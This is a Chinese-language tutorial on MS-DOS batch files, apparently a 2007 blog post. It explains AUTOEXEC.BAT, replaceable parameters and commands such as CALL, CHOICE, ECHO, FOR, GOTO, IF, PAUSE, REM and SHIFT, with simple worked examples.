批处理文件(文件名为*.BAT)就是将一些常用的命令写入一个文本文件内。当我们要使用这个文件时,只要键入批处理文件的文件名,批处理文件就会依照文件中的命令来执行全部或者是一部分指定要执行命令。如此我们便可简化我们的工作,而不用每一次都需要手动键入很多的命令来执行一些动作。
一个批处理文件的建立,因为必须是一个文本文件;所以只要有字处理功能的软件,都可用来建立此文本文件,例如EDIT,WORDSTAR,PE2……等程序皆可。

二、什么是自动批处理?
自动批处理文件(AUTOEXEC.BAT),是批处理文件的一种,处于引导盘(一般为C盘或A盘)的根目录下,当每一次开机时,系统将自动到引导盘的根目录下查找它,如果找到了就自动执行它。

三、批处理文件中可以使用哪些命令?
只要能够在DOS的系统提示符下执行的命令,或应用软件执行文件名称,都能写在批处理文件中,批处理命令也可包含在内,详细如下:
1.DOS的内部命令
2.DOS的外部命令
3.COM的命令文件
4.EXE的可执行文件
5.批文件命令:CALL,ECHO,FOR,GOTO,IF,PAUSE,REM,SHIFT
6.其他的批文件

四、批处理文件命令

BATCH DOS 命令1.功能: 批处理命令是存储在一个特殊的批处理文件(Batch File)中的DOS命令。当执行一个批处理文件时,DOS将依次执行文件内所存储的各项DOS命令。

2.格式:[d:][path][filename.bat][parameters]

3.说明: ①、批处理文件的扩展名应为.BAT。
②、当执行批处理文件时,您可将参数(parameters)传给一名称为file-name.bat的文件,给予不同的参数,将可以执行类似的工作。
③、如果要停止批处理文件的动作,只要按下ctrl+break二键,即可停止正在执行的命令,并且出现下述信息:
terminate batch job?(Y/N)
如果按下Y键就可以终止批处理文件的执行工作。如果按N键,那系统将会继续执行其它的批处理文件中的命令。

4.范例: ①、如果在test.bat文件内包括一些替换参数,将使得在执行时,可以使用您所提供的值来替换它。例如:
copy %1.mac %2.mac
type %2.prn
type %0.bat
%0,%1,%2这三个可以被代换的参数,于执行时将使用批处理文件时的三个参数顺序依次来代换之。
%0参数永远使用批处理文件的文件名来取代。
在一个批处理文件内最多可以使用10个替换参数(%0到%9)
②、当您要执行test.bat的批处理文件时,系统将依照%1,%2等顺序给予适当的参数。例如:
A:\>test a:prog1 b:prog2
于是系统将以test代表%0,以a:\prog1代表%1,以b:\prog2代表%2因此在执行此命令时,就相当于直接在键盘上依次输入下述DOS命令一样:
copy a:\prog1.mac b:\prog2.mac
type b:\prog2.prn
typt test.bat
③、批处理文件亦可使用DOS的环境变量。环境变量于使用时前后都要加上一个%符号。例如要取用DOS PATH的值,您必需输入%PATH%。下例是先假设将变量destination定义为一台磁盘驱动器代码:
SET destination=C:于是执行以下所述命令
ECHO dot here>%destination%FILE1 (必须在批处理文件中执行)
执行之后,C磁盘的file1文件内将会存在dot here字符串。

CALL 批处理文件命令1.功能: 您可以在批处理文件里面调用令一个批处理文件,执行完毕后在继续执行原来的这个批处理文件内的剩余命令。

2.格式:CALL[d:][path][filename.bat][argument]

3.说明: ①、[argument]参数:指定经由批处理文件所要求的任何命令行信息;它可包含开关选择项、文件指定、变量%1至%9以及其它像%baud%这样的变量。
②、CALL命令可以在批处理文件的任何位置,只要执行时不要超过内存容量即可。
③、批处理文件也可以调用自己本身,但必须确定最后仍可以结束才好。
④、CALL命令不可以与重定向输入字符(如:<)以及数据管道字符(如:|)合用。

4.范例: ①、现有main.bat批处理文件内容如下所述:
REM I am ist batch file
REM go to 2nd batch file
CALL a2
REM now come back!
REM END
②、其中A2.bat批处理文件内容如下所述:
REM I am 2nd batch file
REM I will back to main batch file
③、执行时
A:\>main (执行main.bat)
A:\>REM I am ist batch file (main.bat前两行)
A:\>REM go 2nd batch file
A:\>CALL A2 (由main.bat中调用a2.bat)
A:\>REM I am 2nd batch file (执行a2.bat文件的内容)
A:\>REM I will back to main batch file
A:\>REM now come back! (a2.bat结束后返回main.bat
A:\>REM END 继续执行其余命令)

CHOICE选择键组命令 批处理文件命令1.功能: 此命令将显示指定的提示并暂停让用户在指定的键组中做选择,然后返回一个ERRORLEVEL参数给批处理程序。您只能在批处理程序中使用本命令。

2.格式:[d:][path]CHOICE[/C[:]KEYS][/N][/S][/T[:]C’nn][test]

3.说明: ①、/C[:]keys参数:在提示中指定允许可用的键。当显示时,keys将以逗黠分开并放置于括弧中,而且其后将会加上问号。如果您并无指定/C参数,则CHOICE将会使用YN来当做默认值。冒号(:)是可有可无的。
②、/N参数:使CHOICE不显示提示,但是提示前的文字仍会显示。如果您指定此参数,则指定键仍然有效。
③、/S参数:将导致CHOICE会区分大小写。如果此参数未被指定,则CHOICE将接受用户指定的任意键值的大写或小写。
④、/T[:]C’nn参数:在默认指定键之前,使CHOICE在指定的秒数中暂停。/T参数可用的值如下所示:
c—nn秒后,指定的字符将为默认的。字符必须是/c参数中所指定的选择组。
nn–指定暂停的秒数。可接受0到99之间。如果指定0,则在默认之前将不会有暂停。
⑤、[test]参数:您想在提示符前显示的字符。假如您包含斜线(\)做为提示前字符的一部分时,则必须加引号。如果您并无提示字符,则CHOICE将仅显示提示符。您所分派的第一个键将为1,第二个键将为2……余此类推。如果用户按下了一个未分派到的键,则CHOICE将发出一警告声响。如果CHOICE检测到一个错误的情况,那么它将返回一ERRORLEVEL值为255的值;如果使用者按下了Crtl+Break二键或Ctrl+c二键,则CHOICE将返回一ERRORLEVEL值为0的值。

4、范例: 这个CHIOCE命令最有用的地方就是用在批处理文件设计中。它将让用户按下指定的按键后,执行某一段在批处理文件中的命令。例如:下面是包含CHOICE命令的TEST.BAT文件内容:

@echo off
cls

echo. ┐
echo 1.defragment │
echo 2.MSD ├?显示这些字符
echo 3.Anti-Virus │
echo. ┘

choice/c:123/t:1,10 将出现要您选择1或者2或者3的提示字符,如果等10秒后,用户尚未键入1或2或3中任一字符,则自动键入1。
if errorlevel 1 goto defragmant 当用户在上述键入1时,将寻找:defragment段来执行defrag程序。
if errorlevel 2 goto msd 当用户在上述键入2时,将寻找:msd段来执行msd程序。
if errorlevel 3 goto av 当用户到上述键入3时,将寻找:av段来执行msav程序。

:defragment ┐
defrag ├:defragment段
goto end ┘

:msd ┐
msd ├:msd段
goto end ┘

:av ┐
msav ├:av段
goto end ┘

:end 结束

ECHO 批处理文件命令1.功能: 允许批处理文件执行时显示或不显示命令本身,但对于命令的执行则无影响。

2.格式:ECHO [on|off]
ECHO [message]

3.说明: ①、ECHO命令在启动或系统重置时,均默认为on,而可将每一批处理命令在执行同时,显示在输出设备(屏幕)上。
②、当ECHO命令设定为off时在批处理命令执行时,将不显示该命令内容,但不影响执行结果。
③、如果您指定了ECHO message,则不论是ECHO on 或ECHO off,message信息皆会显示在标准输出设备(屏幕)上。
④、如果ECHO后面未加任何字符,如on、off或message,则只会显示出ECHO当前是在on或off的状态。

4.范例:
REM 范例:①
ECHO off
ECHO piping symbol”\”ECHO redirect symbol”>/”

“/”及“>”在DOS命令里有其特殊的意义,如果要让DOS不处理时,则需使用双引号括起来。

REM 范例: ②
@ECHO off
@REM THIS LINE WILL NOT DISPLAY
REN THIS LINE WILL BE DISPLAYED
@file1

上例中,命今前有@符号,其命令行本身将不会被显示出来,其余的命令行都将被显示出来。

REM 范例:③
@ECHO off
DIR *.TXT

执行的结果如下:
Volume in drive A is ABC
Directory of A:TEST1 TXT 13 06-26-90 4:03P
TEST2 TXT 13 06-26-90 4:03P
TEST3 TXT 13 06-26-90 4:04P

3 File(s) 310272 bytes free

连ECHO off 命令本身亦不显示。

FOR 内部命令、批处理文件命令1.功能: 可以让我们反覆地执行DOS的命令。

2.格式: 在批处理文件中:
FOR [%%c] in(set) DO [command][arguments]
在MS-DOS命令行中:
FOR [%c] in(set) DO [command][arguments]

3.说明: ①、[%%c]或[%c]参数:将顺序地得到(set)这个集合中的各个元素来作为它的值,当得到一个值之后,就执行COMMAND此一DOS命令。
②、(set)中可包含*、?、/等通配符,那么[%%c]参数就会被设置成磁盘中能够匹配引指定的第一个文件名称,同时亦可使用路径。
③、[command]参数:指定您希望执行在每一包含在(set)中文件命令。
④、[arguments]参数为:[command]参数指定选择项。

4.范例: ①、如果一批处理文件中含有下述命令:
FOR %%F IN (TEST1.DBF TEST2.DBF TEST3.DBF) DO DEL %%F
则执行时,将有下述的结果:
DEL TEST1.DBF
DEL TEST2.DBF
DEL TEST3.DBF

②、如果批处理文件中含有下述的命令:(在TEST.BAT内)
FOR %%F IN (%1 %2 %3 %4 %5) DO DEL %%F
则在执行时执行下列命令,将有与前项相同的结果:
A>TEST TEST1.DBF TEST2.DBF TEST3.DBF
③、如果欲在DOS下直接执行此命令,则%%c只要改为%c的形式即可。

GOTO 内部命令、批处理文件命令1.功能: 将DOS控制权转移到某标号(LABEL)中,继续往后面执行。在批处理文件中的一个标号是以一个冒号(:)开头,其后跟着一个标号名称(LANEL NAME)所组成。

2.格式:GOTO label

3.说明: ①、GOTO label会造成接着执行标号label那一行的命令。
②、如果label未被定义,则当前这一个批处理文件的动作就会停止,并显示label notfound 信息。
③、批处理文件中的标号名称是由前面8个字来定义的。
④、批处理文件的标号是永远不会显示出来的。所以未引用的标号可用来作为一些注解。

4.范例: TEST.BAT 文件,内容如下:

@ECHO OFF
GOTO SECOND
:FIRST
REM I AM FIRST
:SECOND
REM I AM SECOND

执行结果如下:
REM I AM SECOND

IF 内部命令、批处理文件命令1.功能: 使DOS可以有条件地执行命令。

2.格式:IF[not] errorlevel number command
IF[not] [string1]==[string2] command
IF[not] exist filename.ext command

3.说明: ①、[not]参数:是一个可选择使用的条目,使用时会将其后面条件的结果再求一个相反的结果。
②、errorlevel number:errorlevel 是DOS产生出来的一个退出码。如果退出码大于或等于number(指定一个十进制值),则此条件成立,系统即可执行后面指定的command。
注意:测试退出码时要由大到小来测试,因为退出码只要测到大于或等于指定的值时,该条件即成立。
③、[string1]==[string2]:string1及string2皆为字符的数据,英文字母的大小写将视为不同。当[string1]及[string2]内容完全相同时,则此条件成立,并执行后面指定的command。此条件中的等号(=)必须要有两个。
④、exist filename.ext:如果指定的文件存在时,则所得的结果为“真”,否则为“假”。若为真,则系统即执行后面指定的command。
⑤、IF命令为一个分支命令。condition是一个条件,command是根据条件成立时才去执行的命令。若不成立时则往下继续执行次一个批处理文件命令。
⑥、IF errorlevel 主要是用于配合自己的程序,并于执行完毕后设置一个错误代码(errorcode),以便与IF errorlevel命令一起使用。

4.范例:REM 范例: ①
@ECHO OFF MYPROG1
IF ERRORLEVEL 2 GOTO 2
IF ERRORLEVEL 1 GOTO 1
GOTO EXTI
:L1
ECHO DATA ERROR
GOTO EXIT
:L2
ECHO PROGRAM CANCEL
:EXIT

上例中MYPROG1为一程序,在执行时如果发生退出码时,则表示该程序未执行成功。

REM 范例:②
@ECHO OFF
IF “%1″==”" GOTO EXIT
IF %1==1 GOTO L1
IF %1==2 GOTO L2
GOTO EXIT
:L1
ECHO I AM L1
GOTO EXIT
:L2
ECHO I AM L2
:EXIT

本例中,”"(空字符串)、1、2是指定要与%1参数比较诉字符串。

REM 范例:③
@ECHO OFF
IF NOT EXIST PE2.EXE GOTO EXIT
PE2
GOTO END
:EXIT
ECHO PE2.EXE NOT FOUND!
:END

本例中,先检查PE2.EXE文件是否存在,不存在时则显示一个找不到的信息后结束。如果找到时则执行该程序后结束。

PAUSE 内部命令、批处理文件命令1.功能: 暂时停止系统命令的执行并显示下列信息:
strike a eky when ready……

2.格式:PAUSE

3.说明: ①、PAUSE命令可以在DOS执行一个命令时暂停,使您有机会来更换盘片。按下任何一个键后,即可让DOS继续执行下一个命令。
②、执行PAUSE命令时,系统会暂停;如果您要终止执行此批处理文件,则您可按下Ctrl+Break二键,接头按下Y,即可终止执行,但如果于此时按下N,则系统将继续执行其它命令。

4.范例: PAUSE1.BAT 文件,内容如下:

@ECHO OFF
@ECHO I am first
PAUSE
@ECHO ON
@ECHO I am second
@ECHO Please put a new diskette into drive A
PAUSE

则其执行结果如下所示:
A:\>PAUSE1
I am first
strike any key when ready…

I am second
Please put a new diskette into drive A
strike any key when ready…

REM 批处理文件命令、配置文件命令1.功能: 可以在配置文件(CONFIG.SYS)或批处理文件(.BAT)中加上注解说明。

2.格式:REM [comment]

3.说明: ①、[comment]参数:表示注解行,不会被当作命令执行。
②、您可在配置文件或批处理文件中将命令的功能注解加注在其中,以供日后引用。
③、CONFIG.SYS文件中的REM与在批处理文件中REM,皆可为注解的命令行。但是在批处理文件中,REM会被显示出来,而在CONFIG.SYS的REM命令行在起动DOS时并不会被显示出来。

4.范例:REM this is a sample CONFIG.SYS FOR DBASE 3
FILES=25
BUFFERS=20

SHIFT 内部命令、批处理文件命令1.功能: 使得DOS命令行上可以使用超过10个(%0到%9)以上的可替代参数。

2.格式SHIFT

3.说明 1.可替代参数的编号是%0–%9,如果要在一个命令行使用超过10个可以被代换的参数,则您可使用SHIFT命令来突破此限制。
2.每当执行SHIFT一次,所有命令行上的所有参数将向左移动一位。 %1的内容将为%2的内容所取代…,%9内容则由新的参数递补。
3.%0表示批处理文件本身的名称,永远不变,所以每次执行时您可以加上 9个参数在批处理文件名后。若要增加一个参数,则您将需要使用这个SHIFT命令来移位,才可取得第十个参数。

4.范例 1.SHIFT.BAT文件,内容如下:
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9
SHIFT
@ECHO %1 %2 %3 %4 %5 %6 %7 %8 %9

2.执行结果如下:
A:\>SHIFT 1 1 2 3 4 5 6 7 8 9 10 11(先后跟随11个参数)
1 2 3 4 5 6 7 8 9 (取最前面9个参数)

A:\>SHIFT (移位)
2 3 4 5 6 7 8 9 10 (取另外9个参数)

A:\>SHIFT (移动)

批处理文件指南

2007-05-17,星期四 | 分类:系统集成|病毒安全 | 116 views

后缀是bat的文件就是批处理文件,是一种文本文件。简单的说,它的作用就是自动的连续执行多条命令,批处理文件的内容就是一条一条的命令。那它有什么用呢?

  比如,在启动wps软件时,每次都必须执行

  C:\>cd wps
  C:\WPS>spdos
  C:\WPS>py
  C:\WPS>wbx
  C:\WPS>wps

  如果每次用WPS之前都这样执行一次,您是不是觉得很麻烦呢?

  如果有一个方法,只需编写一个批处理文件,就会自动执行刚才的所有命令,您想不想学呢?

  当您看完此节,自己编写的第一个批处理文件顺利执行时,您一定会大吃一惊的。

  此外电脑每次启动时都会寻找autoexec.bat这条批处理文件,从而可执行一些每次开机都要执行的命令,如设置路径path、加载鼠标驱动mouse、磁盘加速smartdrv等,可以使您的电脑真正自动化。

  echo、@、call、pause、rem 是批处理文件最常用的几个命令,我们就从他们开始学起。 echo 表示显示此命令后的字符
echo off 表示在此语句后所有运行的命令都不显示命令行本身
@ 与echo off相象,但它是加在其它命令行的最前面,表示运行时不显示命令行本身。
call 调用另一条批处理文件(如果直接调用别的批处理文件 ,执行完那条文件后将无法执行当前文件后续命令)
pause 运行此句会暂停,显示Press any key to continue… 等待用户按任意键后继续   
rem 表示此命令后的字符为解释行,不执行,只是给自己今后查找用的   

  例:用edit编辑a.bat文件,输入下列内容后存盘为c:\a.bat,执行该批处理文件后可实现:将根目录中所有文件写入 a.txt中,启动UCDOS,进入WPS等功能。

  批处理文件的内容为:         文件表示:

    echo off            不显示命令行

    dir c:\*.* >a.txt       将c盘文件列表写入a.txt

    call c:\ucdos\ucdos.bat    调用ucdos

    echo 你好            显示”你好”

    pause              暂停,等待按键继续

    rem 使用wps           注释将使用wps

    cd ucdos            进入ucdos目录

    wps               使用wps  

  批处理文件中还可以像C语言一样使用参数,这只需用到一个参数表示符%。

   %表示参数,参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9,%0表示文件名本身,字符串用%1到%9顺序表示。

  例如,C:根目录下一批处理文件名为f.bat,内容为 format %1

  则如果执行C:\>f a:    则实际执行的是format a:

  又如C:根目录下一批处理文件的名为t.bat,内容为 type %1 type %2

  那么运行C:\>t a.txt b.txt 将顺序地显示a.txt和b.txt文件的内容

  if goto choice for 是批处理文件中比较高级的命令,如果这几个你用得很熟练,你就是批处理文件的专家啦。

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if “参数” == “字符串”  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if “%1″==”a” format a:

2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句。如if exist config.sys edit config.sys

3、if errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。如if errorlevel 2 goto x2  DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码

goto 批处理文件运行到这里将跳到goto 所指定的标号处, 一般与if配合使用。 如:

goto end

:end
echo this is the end

标号用 :字符串 表示,标号所在行不被执行

choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……

如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?

例如,test.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag 应先判断数值最高的错误码
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\dos\defrag
goto end

:mem
mem
goto end

:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

for 循环命令,只要条件符合,它将多次执行同一命令。

格式FOR [%%f] in (集合) DO [命令]
只要参数f在指定的集合内,则条件成立,执行命令

如果一条批处理文件中有一行:
for %%c in (*.bat *.txt) do type %%c
含义是如果是以bat或txt结尾的文件,则显示文件的内容。

autoexec.bat  

   DOS在启动会自动运行autoexec.bat这条文件,一般我们在里面装载每次必用的程序,如: path(设置路径)、smartdrv(磁盘加速)、 mouse(鼠标启动)、mscdex(光驱连接)、 doskey(键盘管理)、set(设置环境变量)等。

  如果启动盘根目录中没有这个文件,电脑会让用户输入日期和时间。

  例如,一个典型的autoexec.bat内容如下:

@echo off                     不显示命令行

prompt $p$g                    设置提示符前有目录提示

path c:\dos;c:\;c:\windows;c:\ucdos;c:\tools    设置路径

lh c:\dos\doskey.com                加载键盘管理

lh c:\mouse\mouse.com               加载鼠标管理

lh c:\dos\smartdrv.exe               加载磁盘加速管理

lh c:\dos\mscdex /S /D:MSCD000 /M:12 /V      加载CD-ROM驱动

set temp=c:\temp                  设置临时目录

Pages: Prev 1 2 3 ...4 5 6 7 8 9 10 11 12 Next